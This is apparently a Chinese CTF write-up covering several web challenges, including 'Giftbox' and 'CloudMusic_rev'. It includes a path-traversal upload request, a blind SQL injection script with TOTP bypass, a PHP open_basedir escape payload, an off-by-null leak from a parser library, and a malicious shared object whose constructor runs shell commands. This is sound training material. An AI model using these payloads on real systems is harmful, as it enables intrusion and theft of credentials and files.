CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"flag.php\"\r\nContent-Type: false\r\n\r\n@<?php echo 1;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nflag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../flag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}

然后找呀找呀,最终在etc中找到了flag

【我也想用find,然而会超时

Giftbox

这题当时打开没什么想法就放弃了,现在想想至少也要做到sql注入那里才对

打开是个很漂亮的前端页面,等了一下后提示输入help

提示了这几个命令,于是ls一下

读一下这几个

只有usage.md能读出来,其它两个看起来像文件夹然而进不去

接着login登不了于是抓下包

尝试发包但响应totp error
而直接通过浏览器发送的则正常返回

于是去看一下totp这个参数是做什么的

1
url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(),

可以看到totp是由TOTP类生成
不太清楚totp是啥,于是查了一下后大概知道,totp则是基于时间的一次性口令。totp需要客户端与服务器时钟同步,同时共享密钥,否则会使客户端与服务器计算出来的动态口令不同验证失败。不过可以通过设置timeStep防止客户端与服务器由于难以避免的时间差导致的验证口令错误,但设置过大的话就失去了动态口令的意义

生成口令的算法是:
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X))
这里的几个参数的意义是:
K是共享密钥(令牌种子)
T是一个整数,代表当前时间
T0是一个整数,代表一个时间点,一般为0
X口令变化周期,单位为秒,30秒或者60秒

那么前面那串GAXG24JTMZXGKZBU应该就是key了,8不清楚是什么试试看

可以看出是设置口令的长度
那还有X和T0这两个参数值要获得,于是去看看totop.min.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
n(e, [
{
key: 'genOTP',
value: function () {
var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 5,
r = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0,
n = Math.floor((Date.now() / 1000 - r) / t);
return function t(e, r, n) {
null === e && (e = Function.prototype);
var o = Object.getOwnPropertyDescriptor(e, r);
if (void 0 === o) {
var i = Object.getPrototypeOf(e);
return null === i ? void 0 : t(i, r, n)
}
if ('value' in o) return o.value;
var u = o.get;
return void 0 !== u ? u.call(n) : void 0
}(e.prototype.__proto__ || Object.getPrototypeOf(e.prototype), 'genOTP', this).call(this, n)
}
},

查找genOTP可以查到这里可以看到,当有传入参时,第一个参赋给t,第二个赋给r。无传入时,t的缺省值为5,r的缺省值为0
看下面n的计算式,可以看出t便是X,r便是T0

其实也可以从main.js中看出,如果知道totp的话,留意一下main.js中的注释

1
2
3
4
5
6
7
8
/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

可以看到这里给了默认的几个参数,并且提示服务器是使用python实现口令的验证

接着回去看login,这里没给什么信息,就试试看有没有像普通的登录一样有注入的问题

尝试了一下发现可以绕出,但万能密码不行,那估计是分离式登录了。那就从username处入手盲注,fuzz一波后发现并没有过滤什么,但是不能用空格,因为这是命令行,会导致认为是下一个参数

测试了一下可以盲注,于是上脚本

1
2
3
4
5
6
7
payload:
login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>0)'or' 1
login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from(1)for(1)))>0)'or' 1
login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>0)or' 1
login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from(1)for(1)))>0)or' 1
login 'or((select(length(group_concat(password)))from(users))=50)or' 1
login 'or(ascii(mid(((select(group_concat(password))from(users)))from(1)for(1)))>0)or' 1

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding:utf8 -*-  
import requests
import re
import time
import pyotp
import json

totp = pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval = 5)
url = "http://8015fb4f-e782-4e32-9aee-3464f7a149a0.node3.buuoj.cn/shell.php?a="

l1 = 0
r1 = 100

while(l1<=r1):
mid1 = (l1 + r1)/2
a = "login 'or((select(length(group_concat(password)))from(users))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))="+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or((select(length(group_concat(password)))from(users))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>"+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l1 = mid1 + 1
else:
r1 = mid1 - 1

print mid1

k = ''

for j in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l2 = mid2 + 1
else:
r2 = mid2 - 1
k = k + chr(mid2)
print k

跑出
users
id,username,password
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

于是执行一下sh0w_hiiintttt_23333

执行后提示了launch的时候会调用eval,于是先登录一波调用一下

显示没有命令可以执行,于是看看md文件

应该是要用过targeting来写入,然后fuzz一下发现只能都限制了长度和0-9A-Za-z{}_$,感觉就很像沙盒逃逸

php的沙盒逃逸也是很好玩,比如像{$a}或${a}可以在字符串中获得对应变量的值

通过{$a(99)}调用对应函数

通过这样也能获得函数执行结果对应的变量的值

从这里可以想到,我们可以通过这种方式在字符串中使用eval,尽管没有返回值,但eval依旧是执行了

更多沙箱逃逸的骚操作可以看看这个
从一道题讲PHP复杂变量

先试一下

这里通过eval执行了命令,一开始不知道为什么会error。后来看了一下响应才发现执行的结果已经返回,但由于非json才error

然后尝试一下file_get_contents()取读/flag

并没有返回,应该是被限制了,执行看看phpinfo()

可以看到open_basedir限制了只能在app以及sandbox目录下
要绕过这里,可以利用open_basedir设置的一个缺陷,它虽然不能在设定的目录下修改,但可以在非设定的目录下修改。也就是说,只要不在/app和/sandbox目录下,我们就可以随意修改open_basedir的值

具体看一叶飘零师傅的分析
从PHP底层看open_basedir bypass
感觉需要一些pwn基础,纯web手先留坑了Orz

1
2
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

先进到img目录下将open_basedir设为..,然后一直返回上级目录到根目录(看phpinfo可以知道网站根目录在/var/www/html/),将open_basedir设为/,然后读flag
其实在想为什么不能直接设为/,日后再研究研究底层看看吧

不过这里要拆分成一个个变量有点麻烦,可以用一个技巧——利用{代替[。这样就能用get传值进入,直接绕过过滤
像这样

脚本传个值进去后

命令就赋给了c,然后再执行一下

可以看到执行成功了

于是发送读取flag

CloudMusic_rev

进入是个山寨版网易云——滑稽云,当时看界面就知道是国赛决赛的题改,然而依旧没整出来

首先先注册登录,注册界面又是有一个麻烦的md5截断
然后看看前端的源码,在首页发现了一个接口

1
2
3
4
5
6
7
8
9
10
11
<!-- TODO 2019-08-03 06:15:32
To:Jessica Lee
Damn it! The boss said we should add firmware update function and put it online tomorrow!???
I havn't done yet and put the entry here.
You should help me coding and finish the job.
Security is important!!!
Something more, remember to delete this note!!!
From:Alan Wang
<p class="p1 p2">Admin Panel</p>
<span><a class="a1" href="#firmware">Upgrade Firmware</a></span>
-->

去掉注释进入,提示要admin账户,于是找找看有什么办法能登录admin

接着尝试一下上传,只允许mp3文件,检查了文件头,不太好利用
于是继续看share页面,发现很奇怪,有一首歌是加载不了的
看看源码,发现除了这首歌是通过/media/share.php?Y292ZXIvd2VsY29tZS5wbmc=这个脚本获取图片,而其它歌都是直接读取/media/cover/目录下对应的图片
看后面那串应该是base64于是解码一下得到cover/welcome.png,然后取访问成功获得图片

那么shell.php有可能能够获取源码,于是尝试去获取index.php

base64一下访问,拿下来发现

1
2
urldecode path:../index.php
.php is not allowed.

不允许.php,于是尝试一下urlencode,成功获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
include_once 'include/config.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Comical CloudMusic</title>

<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/reset.css">
<link rel="stylesheet" href="css/index.css">
<link rel="stylesheet" href="css/other.css">
<link rel="stylesheet" href="css/APlayer.min.css">

<script src="js/jquery-3.2.1.min.js"></script>
<script src="js/APlayer.min.js"></script>
<script src="js/color-thief.js"></script>
</head>
<body>
<header>
<div class="top">
<?php include 'include/top.php'; ?>
</div>
</header>
<div id="container">
<div id="left">
<?php include 'include/left.php'; ?>
</div>
<div id="content"></div>
<div id="player"></div>
</div>
<script>
const ap = new APlayer({
container: document.getElementById('player'),
fixed: true
});
const colorThief = new ColorThief();
const setTheme = (index) => {
if (ap.list.audios.length<=0) return;
if (ap.list.audios[index].theme==undefined) {
colorThief.getColorAsync(ap.list.audios[index].cover, function (color) {
ap.theme(`rgb(${color[0]}, ${color[1]}, ${color[2]})`, index);
});
}
};
ap.on('listswitch', (index) => {
setTheme(index.index);
});
ap.list.add({name:'Friendships',artist:'Pascal Letoublon',url:'/media/music/welcome.mp3',cover:'/media/cover/welcome.png'});
ap.list.switch(0);
</script>
<footer style="text-align:center;">
<?php include 'include/bottom.php'; ?>
</footer>
<script src="js/hotload.js"></script>
</body>
</html>

于是去拿其它几个的源码,通过index.php只能找到top这几个php,但主体部分没有。于是进到hotload.js发现hotload.php,拿下来

1
2
3
4
$whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info');
if (!in_array($page,$whitelist,true)) $page='404';

include "include/$page.php";

可以看到主体部分的代码都在include里,于是全部拿下来审一下

在login.php中可以看到

$username==='admin'&&$password===$_GLOBALS['admin_password']

admin的密码是存在GLOBALS变量中的,于是去读config

$_GLOBALS['admin_password']=write_config(init_config('.passwd'));

可以看到密码是从通过write_config()获得,再继续看init.php\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function get_filename($ext){
$files=scandir(__DIR__.'/../config/');
foreach ($files as $file) {
if ($file != "." && $file != "..") {
if (substr($file,-strlen($ext))===$ext){
return $file;
}
}
}
return '';
}

function init_config($ext){
$file=get_filename($ext);
if ($file==''){
$file=rand_str(8).$ext;
file_put_contents(__DIR__.'/../config/'.$file, '');
if (!file_exists(__DIR__.'/../config/'.$file)){
$file=='';
}
}
return $file;
}

function read_config($file){
return file_get_contents(__DIR__.'/../config/'.$file);
}

function write_config($file,$str = '',$length = 16){
$content=file_get_contents(__DIR__.'/../config/'.$file);
if ($content==''){
if ($str=='') $str=rand_str($length);
file_put_contents(__DIR__.'/../config/'.$file, $str);
}
return file_get_contents(__DIR__.'/../config/'.$file);
}

可以看到.passwd只是个后缀名,文件名是16为的随机数,应该无法通过直接读取获得

于是对着全部源码搜一下$_GLOBALS['admin_password'],发现只剩upload.php使用了

1
2
3
4
5
6
7
8
$parser = FFI::cdef("
struct Frame{
char * data;
int size;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);

这里用FFI从/../lib/parser.so中加载了parse方法,prase()中需要传入三个参数:密码,类型和文件名。记得国赛时就是不会分析卡在了这Orz

下面是菜鸡web手第一次搞二进制文件,找了pwn师傅来指导【师傅实在tql
把so文件拿下来后ida打开,进到parse函数下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void *__fastcall parse(__int64 a1, const char *a2, __int64 a3)
{
__int64 v4; // [rsp+8h] [rbp-18h]

v4 = a3;
init_proc();
if ( check_password(a1) == 1 )
{
if ( !strcmp(a2, "title") )
{
read_title(v4, "title");
}
else if ( !strcmp(a2, "artist") )
{
read_artist(v4, "artist");
}
else if ( !strcmp(a2, "album") )
{
read_album(v4, "album");
}
}
return &mframe_data;
}

先进入初始化init_proc()看看

1
2
3
4
5
6
7
8
void *init_proc()
{
mframe_size = 0;
mframe_data = &mem_mframe_data;
memset(&mem_mframe_data, 0, 0x70uLL);
passwd[0] = &mem_mpasswd;
return memset(&mem_mpasswd, 0, 0x20uLL);
}

这里将mframe_data指向mem_mframe_datapasswd[0]指向mem_mpasswd

接着读check_password(),这个函数用来读取并检查输入的密码是否正确。主要看这个地方

1
2
3
4
5
6
stream = fopen(&s, "r");
if ( !stream )
return 0LL;
fread(passwd[0], 1uLL, 0x18uLL, stream);
fclose(stream);
return strcmp(passwd[0], a1) == 0;

这里将取出的密码保存到了passwd[0]指向的地址,也就是mem_mpasswd。不过整个过程中仅有最后比较的时候使用了传入的a1,没有什么可以插手的地方,应该利用不了

回到parse(),下面判断classname是什么并分别进入不同函数
于是先进入read_title()看看,这个函数应该是用来获取歌曲的title

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall read_title(__int64 a1)
{
unsigned __int64 result; // rax
const char *v2; // rax
signed int *v3; // rax
signed int *v4; // [rsp+18h] [rbp-18h]

result = load_tag(a1);
if ( result )
{
v2 = tag_get_title(result);
v3 = parse_text_frame_content(v2);
v4 = v3;
result = strlen(*(v3 + 1));
if ( result <= 0x70 )
{
mframe_size = strlen(*(v4 + 1));
result = strcpy(&mem_mframe_data, *(v4 + 1));
}
}
return result;
}

load_tag()应该是将文件读取出来

1
2
3
4
5
6
7
8
9
10
const char *__fastcall tag_get_title(__int64 a1)
{
const char *result; // rax

if ( a1 )
result = get_from_list(*(a1 + 16), "TIT2");
else
result = 0LL;
return result;
}

然后在tag_get_title()返回TIT2(mp3头部记录作者的标签)的位置
parse_text_frame_content()猜测是将TIT2对应的起始地址+10(标签帧头长度),然后将赋给result该位置的内容,也就是TIT2的内容数据。然后result获得TIT2的大小(v3+1的原因是第一位是用来记录是什么编码),判断是否大于0x70,大于直接返回result。否则将TIT2的内容数据复制给mem_mframe_data

这里pwn师傅说一般碰到这种情况首先回去尝试一下边界值,结果也确实是可以,但还是分析一下原因
这里要利用的是off by nullparse()处最终是返回了mframe_data的地址,也就是mem_mframe_data

我们查看一下可以看到mframe_data地址在bbs段上的9390处

mem_mframe_data的地址在bbs段上的9320处

可以发现,两个数据的地址的差正好是0x70,也就是说只要mp3的大小大于0x70,就能够覆盖掉mframe_data的指向地址,就可以控制返回的数据
但这里限制了大小为0x70,无法让mp3的数据大于0x70。这时就要利用一下strlen()strcpy()对字符串的处理的一些细节。strlen()虽然是遇到/x00停止计算长度,但不会将/x00计入长度之中;而strcpy()则是会将/x00一同给复制。这样的结果就是,尽管strlen()计算的长度为0x70,但strcpy()复制的长度为0x71,/x00就溢出到了mframe_data处
此时由于mframe_data储存的是mem_mframe_data的地址,而且是以小端保存,因此保存的地址会从9320修改成9300,然后看看9300处

正好是password保存的位置,于是将password读出返回了

这里pwn师傅说bbs段虽然并不是真实地址,但也是相对地址,因此修改最后几位依旧可以保证指向的地址正确

然后构造一个符合要求的mp3文件,要注意几点的是,需要有title artist album这几个标签。同时对于要溢出的标签,大小不能只设为72(要计上编码和0x00),因为密码也要占用长度。所以可以将长度设大一些,然后在第72位的0x00后补足长度的字符即可

这是构造出来的mp3,TPE1的第72位为0x00,然后往后补足到了0xA1位

上传一下,成功获得密码,进入firmware界面

一个上传和调试的接口,回去读一下源码

1
2
3
4
5
6
7
8
if (isset($_FILES["file_data"])){
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.')));
}else{
mt_srand(time());
$firmware_filename=md5(mt_rand().$_SERVER['REMOTE_ADDR']);
$firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";

上传部分会将文件保存为elf,那就是要上传一个so文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (isset($path)){
$path=clean_string(trim((string) $path));
if (strlen($path)<=0||strlen($path)>64){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Format or length check failed.')));
}else{
$firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
if (!file_exists($firmware_filename)){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'File not found.')));
}else{
try{
$elf = FFI::cdef("
extern char * version;
", $firmware_filename);
$version=(string) FFI::string($elf->version);
if ($version === "cloudmusic_rev"){
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'Firmware version is cloudmusic_rev.')));
}else{
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Bad version.')));
}
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Fail when loading firmware.')));
}
}
}
}

调试部分则是会去获得文件的version,但只是返回固定的信息,,这里可以利用__attribute__((constructor)) 。之前写C时没用过,不过看得出是个类似于构造函数的东西,实际上用途也是被设定为该属性的函数,会在main()执行前执行【同时也有个类似析构函数的用法】
于是我们可以构造文件,让其中有一个函数为__attribute__((constructor))。那么只要使用了这个文件,那就会执行函数得以RCE

先构造好文件,由于没有回显,那就将内容保存到web目录下。尝试了几次在uploads下那几个目录能写,web根目录和uploads目录是写不了的
先读一下根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void flag(){
memset(version,0,0x130);
FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/flag.txt ", "r");
if (fp==NULL) return;
fread(version, 1, 0x100, fp);
pclose(fp);
}

然后编译为so文件,本来以为so文件可以gcc -c x.c -o x.so这样生成,上传后一直用不了很懵逼。后来尝试去调试时才发现so要用动态文件的生成方式生成,记一下命令gcc x.c -fPIC -shared -o x.so

上传so,然后去计算文件的位置
time()的值可以通过抓包获取服务器的时间

$_SERVER['REMOTE_ADDR']查看自己的公网ip即可
不过这里由于php7对mt_rand()的算法有改动,所以要使用php7以上去生成

然后调试so文件

看到这样就是成功了

访问一下

flag在根目录,然后cat /flag > /var/www/html/uploads/firmware/flag.txt

发现什么都没读到,猜测可能是权限的问题,于是ls -l / > /var/www/html/uploads/firmware/ls-l.txt

确实不够权限去读取flag,需要找一个有suid权限的程序去读取。/usr/bin/tac的权限为suid,而tac和cat不同的只是从最后一行读起而已。这里flag只有一行问题不大,于是/usr/bin/tac /flag > /var/www/html/uploads/firmware/getflag.txt

得到flag